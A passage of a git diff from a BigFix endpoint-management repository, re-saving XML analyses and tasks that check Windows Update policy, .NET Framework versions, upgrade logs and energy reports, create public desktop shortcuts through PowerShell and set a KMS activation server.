+    <Property ID="4" Name="WSUS - Minor Updates Silent Installation - Windows" EvaluationPeriod="P1D">if (value &quot;AutoInstallMinorUpdates&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string | &quot;0&quot; = &quot;1&quot; ) then &quot;Enabled&quot; else &quot;Disabled&quot;</Property>
+    <Property ID="5" Name="WSUS - Automatic Update State - Windows" EvaluationPeriod="P1D">if (value &quot;NoAutoUpdate&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate&quot; of native registry as string | &quot;0&quot; = &quot;1&quot; ) then &quot;Disabled&quot; else &quot;Enabled&quot;</Property>
+    <Property ID="6" Name="WSUS - No Reboot with Logged On User - Windows" EvaluationPeriod="P1D">(if (it = &quot;-1&quot;) then (&quot;Not Configured&quot;) else (if (it = &quot;0&quot;) then &quot;Disabled&quot; else (if (it = &quot;1&quot;) then &quot;Enabled&quot; else ERROR &quot;Unknown Value&quot;))) of (value &quot;NoAutoRebootWithLoggedOnUsers&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of native registry as string | &quot;-1&quot;)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Upgrades (2998608).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Upgrades (2998608).bes
index f03f7f572..eadce7987 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Upgrades (2998608).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Upgrades (2998608).bes	
@@ -1,25 +1,25 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Upgrades
-  ID       : 2998608
-  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
-  Domain   : BESC
-  Imported : 2020-04-08T09:51:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Upgrades</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>operating system as string contains &quot;Win&quot;</Relevance>
-    <Relevance>exist file &quot;C:\in_place_upgrade\out.log&quot;</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 08 Apr 2020 16:50:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="3" Name="Upgrade Exit Code">if exist file &quot;C:\in_place_upgrade\out.log&quot; then line 1 of file &quot;C:\in_place_upgrade\out.log&quot; else &quot;N/A&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Upgrades
+  ID       : 2998608
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2020-04-08T09:51:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Upgrades</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exist file &quot;C:\in_place_upgrade\out.log&quot;</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 08 Apr 2020 16:50:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="3" Name="Upgrade Exit Code">if exist file &quot;C:\in_place_upgrade\out.log&quot; then line 1 of file &quot;C:\in_place_upgrade\out.log&quot; else &quot;N/A&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/WindowsUpdate.log Audit - Windows (2995914).bes b/Sites/Windows Management/Fixlets/Analyses/WindowsUpdate.log Audit - Windows (2995914).bes
index 86ede7371..395d16739 100644
--- a/Sites/Windows Management/Fixlets/Analyses/WindowsUpdate.log Audit - Windows (2995914).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/WindowsUpdate.log Audit - Windows (2995914).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : WindowsUpdate.log Audit - Windows
-  ID       : 2995914
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-03-29T12:02:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>WindowsUpdate.log Audit - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists files &quot;WindowsUpdate.log&quot; whose( exists lines of it AND not exists lines whose(it contains &quot;Get-WindowsUpdateLog PowerShell&quot; OR it contains &quot;Checking write access&quot;) of it ) of ( windows folders ; folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients )</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 29 Mar 2016 19:01:29 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Last 100 lines of WindowsUpdate.log" EvaluationPeriod="P2D">(item 1 of /* -&gt; This &quot;it&quot; refers to the last 100 lines of the file -&gt; */ it) whose( /* -&gt; remove empty lines, which is why this relevance can return less than 100 lines per file -&gt; */ it as trimmed string != &quot;&quot;) of ( /* -&gt; this is the number of lines of the file from the previous statement -&gt; */ item 1 of it, (lines of /* -&gt; the file object -&gt; */ item 0 of it) ) /* -&gt; This whose statement is responsible for filtering for only the last 100 lines of the file -&gt; */ whose ( (line number of /* -&gt; lines of the file -&gt; */ item 1 of it) &gt; ( /* -&gt; number of lines of the file -&gt; */ item 0 of it - 100 /* &lt;- This is the number of lines to return, which is subtracted from the total # of lines &lt;- */ ) ) of ( /* -&gt; the parent file object itself -&gt; */ it, number of lines of it) of files &quot;WindowsUpdate.log&quot; whose( not exists lines whose(it contains &quot;Get-WindowsUpdateLog PowerShell&quot;) of it ) of ( windows folders ; folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : WindowsUpdate.log Audit - Windows
+  ID       : 2995914
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-03-29T12:02:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>WindowsUpdate.log Audit - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists files &quot;WindowsUpdate.log&quot; whose( exists lines of it AND not exists lines whose(it contains &quot;Get-WindowsUpdateLog PowerShell&quot; OR it contains &quot;Checking write access&quot;) of it ) of ( windows folders ; folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients )</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Mar 2016 19:01:29 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Last 100 lines of WindowsUpdate.log" EvaluationPeriod="P2D">(item 1 of /* -&gt; This &quot;it&quot; refers to the last 100 lines of the file -&gt; */ it) whose( /* -&gt; remove empty lines, which is why this relevance can return less than 100 lines per file -&gt; */ it as trimmed string != &quot;&quot;) of ( /* -&gt; this is the number of lines of the file from the previous statement -&gt; */ item 1 of it, (lines of /* -&gt; the file object -&gt; */ item 0 of it) ) /* -&gt; This whose statement is responsible for filtering for only the last 100 lines of the file -&gt; */ whose ( (line number of /* -&gt; lines of the file -&gt; */ item 1 of it) &gt; ( /* -&gt; number of lines of the file -&gt; */ item 0 of it - 100 /* &lt;- This is the number of lines to return, which is subtracted from the total # of lines &lt;- */ ) ) of ( /* -&gt; the parent file object itself -&gt; */ it, number of lines of it) of files &quot;WindowsUpdate.log&quot; whose( not exists lines whose(it contains &quot;Get-WindowsUpdateLog PowerShell&quot;) of it ) of ( windows folders ; folders &quot;Logs&quot; of folders &quot;__Global&quot; of data folders of clients)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/dotNET Framework (2994589).bes b/Sites/Windows Management/Fixlets/Analyses/dotNET Framework (2994589).bes
index ceb2f5f4f..4d1dcf75a 100644
--- a/Sites/Windows Management/Fixlets/Analyses/dotNET Framework (2994589).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/dotNET Framework (2994589).bes	
@@ -1,32 +1,32 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : .NET Framework
-  ID       : 2994589
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-10-22T13:05:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>.NET Framework</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 25 Mar 2013 20:07:41 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="v2.0 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v2.0&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v2.0&quot;) of it) of native registry</Property>
-    <Property ID="2" Name="v2.0 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v2.0&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
-    <Property ID="3" Name="v3.0 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v3.0&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v3.0&quot;) of it) of native registry</Property>
-    <Property ID="4" Name="v3.0 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v3.0&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
-    <Property ID="5" Name="v3.5 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v3.5&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v3.5&quot;) of it) of native registry</Property>
-    <Property ID="6" Name="v3.5 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v3.5&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
-    <Property ID="7" Name="v4 Client Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v4&quot;) of key &quot;Client&quot; of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v4&quot;) of key &quot;Client&quot; of it) of native registry</Property>
-    <Property ID="8" Name="v4 Full Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v4&quot;) of key &quot;Full&quot; of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v4&quot;) of key &quot;Full&quot; of it) of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : .NET Framework
+  ID       : 2994589
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-10-22T13:05:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>.NET Framework</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 25 Mar 2013 20:07:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="v2.0 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v2.0&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v2.0&quot;) of it) of native registry</Property>
+    <Property ID="2" Name="v2.0 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v2.0&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+    <Property ID="3" Name="v3.0 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v3.0&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v3.0&quot;) of it) of native registry</Property>
+    <Property ID="4" Name="v3.0 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v3.0&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+    <Property ID="5" Name="v3.5 Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v3.5&quot;) of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v3.5&quot;) of it) of native registry</Property>
+    <Property ID="6" Name="v3.5 SP">value &quot;SP&quot; of key whose (name of it starts with &quot;v3.5&quot;) of key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+    <Property ID="7" Name="v4 Client Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v4&quot;) of key &quot;Client&quot; of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v4&quot;) of key &quot;Client&quot; of it) of native registry</Property>
+    <Property ID="8" Name="v4 Full Installed">exists key &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; whose (exists keys whose (name of it starts with &quot;v4&quot;) of key &quot;Full&quot; of it AND exists value &quot;Install&quot; whose (it as string = &quot;1&quot;) of key whose (name of it starts with &quot;v4&quot;) of key &quot;Full&quot; of it) of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/powercfg energy report - Windows (2994793).bes b/Sites/Windows Management/Fixlets/Analyses/powercfg energy report - Windows (2994793).bes
index 3003dde29..8f3626760 100644
--- a/Sites/Windows Management/Fixlets/Analyses/powercfg energy report - Windows (2994793).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/powercfg energy report - Windows (2994793).bes	
@@ -1,26 +1,26 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : powercfg energy report - Windows
-  ID       : 2994793
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T11:37:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>powercfg energy report - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists files whose(exists (it as lowercase) whose(it starts with &quot;energy-report.&quot; AND (it ends with &quot;.xml&quot; OR it ends with &quot;.html&quot;)) of name of it) of system x64 folder</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 28 Mar 2014 19:10:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="energy-report Files" EvaluationPeriod="P2D">pathnames of files whose(exists (it as lowercase) whose(it starts with &quot;energy-report.&quot; AND (it ends with &quot;.xml&quot; OR it ends with &quot;.html&quot;)) of name of it) of system x64 folder</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : powercfg energy report - Windows
+  ID       : 2994793
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T11:37:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>powercfg energy report - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists files whose(exists (it as lowercase) whose(it starts with &quot;energy-report.&quot; AND (it ends with &quot;.xml&quot; OR it ends with &quot;.html&quot;)) of name of it) of system x64 folder</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 28 Mar 2014 19:10:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="energy-report Files" EvaluationPeriod="P2D">pathnames of files whose(exists (it as lowercase) whose(it starts with &quot;energy-report.&quot; AND (it ends with &quot;.xml&quot; OR it ends with &quot;.html&quot;)) of name of it) of system x64 folder</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/AAC - Create a Public Desktop Shortcut for all users on Windows (25073).bes b/Sites/Windows Management/Fixlets/Fixlets/AAC - Create a Public Desktop Shortcut for all users on Windows (25073).bes
index 6edb92fef..939e8a49d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/AAC - Create a Public Desktop Shortcut for all users on Windows (25073).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/AAC - Create a Public Desktop Shortcut for all users on Windows (25073).bes	
@@ -1,83 +1,83 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : AAC - Create a Public Desktop Shortcut for all users on Windows
-  ID       : 25073
-  Author   : kapax
-  Domain   : BESC
-  Imported : 2018-02-08T09:22:34
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>AAC - Create a Public Desktop Shortcut for all users on Windows</Title>
-    <Description><![CDATA[<P>Uses Powershell to create&nbsp;a public destop shortcut that works on most modern Windows systems (those&nbsp;supported by&nbsp;powershell)</P>
-<P>When prompted you can provide an application full path or an URL:</P>
-<P dir=ltr>URL example </P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P dir=ltr><A href="https://bigfix.me/"><FONT color=#000080>https://bigfix.me</FONT></A></P></BLOCKQUOTE>
-<P dir=ltr>Application example: </P>
-<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
-<P dir=ltr><STRONG><EM>C:\Program Files\Notepad++\notepad++.exe</EM></STRONG></P></BLOCKQUOTE>
-<P dir=ltr>When prompted for the name you can enter any valid filename (<STRONG>Warn</STRONG>: no checks are done)</P>
-<P dir=ltr><STRONG><FONT color=#ff0000>Note: </FONT></STRONG>If you use the same name of an existing Public Desktop&nbsp;shortcut, it will be replaced. If you use the same name of a Private Desktop shortcut, two shortcuts will exist&nbsp;on&nbsp;User's desktop.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; whose (exists value &quot;Path&quot; of it) of native registry</Relevance>
-    <Category>Utility</Category>
-    <Source>andrea.capasso@hcl.com</Source>
-    <SourceReleaseDate>2018-02-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 08 Feb 2018 17:22:09 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "TargetURL" with description "Enter the URL or the ApplicationFullPath pointed by the Shortcut (for example: C:\Program Files\Notepad++\notepad++.exe )" and with default value "http://bigfix.me"
-action parameter query "ShortcutName" with description "Enter the Name of the Desktop Shortcut" and with default value "Bigfix_Me"
-
-// Retrieve Public Desktop location
-parameter "DesktopPath"="{value "Common Desktop" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" of native registry}"
-
-// locate PowerShell .exe file
-parameter "PowerShellexe"="{value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry}"
-
-if {(parameter "TargetURL") as lowercase starts with "http"}
-	parameter "Shortcut_ext"=".url"
-elseif {(parameter "TargetURL") as lowercase ends with ".exe"}
-	parameter "Shortcut_ext"=".lnk"
-else
- continue if {false}
-endif
-// build full path of Shortcut
-parameter "ShortcutFile" = "{(parameter "DesktopPath") & "\" & (parameter "ShortcutName") & (parameter "Shortcut_ext")}"
-// create PowerShell script
-delete __createfile
-createfile until __EOF__
-$Target = "{parameter "TargetURL"}"
-# $ShortcutFile = (Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders').'Common Desktop'
-# $ShortcutFile = $ShortcutFile + "{"\" & (parameter "ShortcutName") & ".url" }"
-$ShortcutFile = "{parameter "ShortcutFile"}"
-$WScriptShell = New-Object -ComObject WScript.Shell
-$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
-$Shortcut.TargetPath = $Target
-$Shortcut.Save()
-__EOF__
-
-delete "shortcut.ps1"
-copy __createfile "shortcut.ps1"
-
-// just in case, remove the old shortcut should it exists
-delete "{parameter "ShortcutFile"}"
-// execute PS script and check we did it or fail
-waithidden "{parameter "PowerShellexe"}" -ExecutionPolicy Bypass ".\shortcut.ps1"
-continue if {exit code of action = 0 }
-continue if {exists file (parameter "ShortcutFile")}]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : AAC - Create a Public Desktop Shortcut for all users on Windows
+  ID       : 25073
+  Author   : kapax
+  Domain   : BESC
+  Imported : 2018-02-08T09:22:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>AAC - Create a Public Desktop Shortcut for all users on Windows</Title>
+    <Description><![CDATA[<P>Uses Powershell to create&nbsp;a public destop shortcut that works on most modern Windows systems (those&nbsp;supported by&nbsp;powershell)</P>
+<P>When prompted you can provide an application full path or an URL:</P>
+<P dir=ltr>URL example </P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P dir=ltr><A href="https://bigfix.me/"><FONT color=#000080>https://bigfix.me</FONT></A></P></BLOCKQUOTE>
+<P dir=ltr>Application example: </P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P dir=ltr><STRONG><EM>C:\Program Files\Notepad++\notepad++.exe</EM></STRONG></P></BLOCKQUOTE>
+<P dir=ltr>When prompted for the name you can enter any valid filename (<STRONG>Warn</STRONG>: no checks are done)</P>
+<P dir=ltr><STRONG><FONT color=#ff0000>Note: </FONT></STRONG>If you use the same name of an existing Public Desktop&nbsp;shortcut, it will be replaced. If you use the same name of a Private Desktop shortcut, two shortcuts will exist&nbsp;on&nbsp;User's desktop.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exist keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; whose (exists value &quot;Path&quot; of it) of native registry</Relevance>
+    <Category>Utility</Category>
+    <Source>andrea.capasso@hcl.com</Source>
+    <SourceReleaseDate>2018-02-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 08 Feb 2018 17:22:09 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "TargetURL" with description "Enter the URL or the ApplicationFullPath pointed by the Shortcut (for example: C:\Program Files\Notepad++\notepad++.exe )" and with default value "http://bigfix.me"
+action parameter query "ShortcutName" with description "Enter the Name of the Desktop Shortcut" and with default value "Bigfix_Me"
+
+// Retrieve Public Desktop location
+parameter "DesktopPath"="{value "Common Desktop" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" of native registry}"
+
+// locate PowerShell .exe file
+parameter "PowerShellexe"="{value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry}"
+
+if {(parameter "TargetURL") as lowercase starts with "http"}
+	parameter "Shortcut_ext"=".url"
+elseif {(parameter "TargetURL") as lowercase ends with ".exe"}
+	parameter "Shortcut_ext"=".lnk"
+else
+ continue if {false}
+endif
+// build full path of Shortcut
+parameter "ShortcutFile" = "{(parameter "DesktopPath") & "\" & (parameter "ShortcutName") & (parameter "Shortcut_ext")}"
+// create PowerShell script
+delete __createfile
+createfile until __EOF__
+$Target = "{parameter "TargetURL"}"
+# $ShortcutFile = (Get-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders').'Common Desktop'
+# $ShortcutFile = $ShortcutFile + "{"\" & (parameter "ShortcutName") & ".url" }"
+$ShortcutFile = "{parameter "ShortcutFile"}"
+$WScriptShell = New-Object -ComObject WScript.Shell
+$Shortcut = $WScriptShell.CreateShortcut($ShortcutFile)
+$Shortcut.TargetPath = $Target
+$Shortcut.Save()
+__EOF__
+
+delete "shortcut.ps1"
+copy __createfile "shortcut.ps1"
+
+// just in case, remove the old shortcut should it exists
+delete "{parameter "ShortcutFile"}"
+// execute PS script and check we did it or fail
+waithidden "{parameter "PowerShellexe"}" -ExecutionPolicy Bypass ".\shortcut.ps1"
+continue if {exit code of action = 0 }
+continue if {exists file (parameter "ShortcutFile")}]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS - set server - Windows (22632).bes b/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS - set server - Windows (22632).bes
index 49c9a433d..f6db1ce70 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS - set server - Windows (22632).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS - set server - Windows (22632).bes	
@@ -1,60 +1,60 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Activate Windows with KMS - set server - Windows
-  ID       : 22632
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-11-17T14:43:39
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Activate Windows with KMS - set server - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>not exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
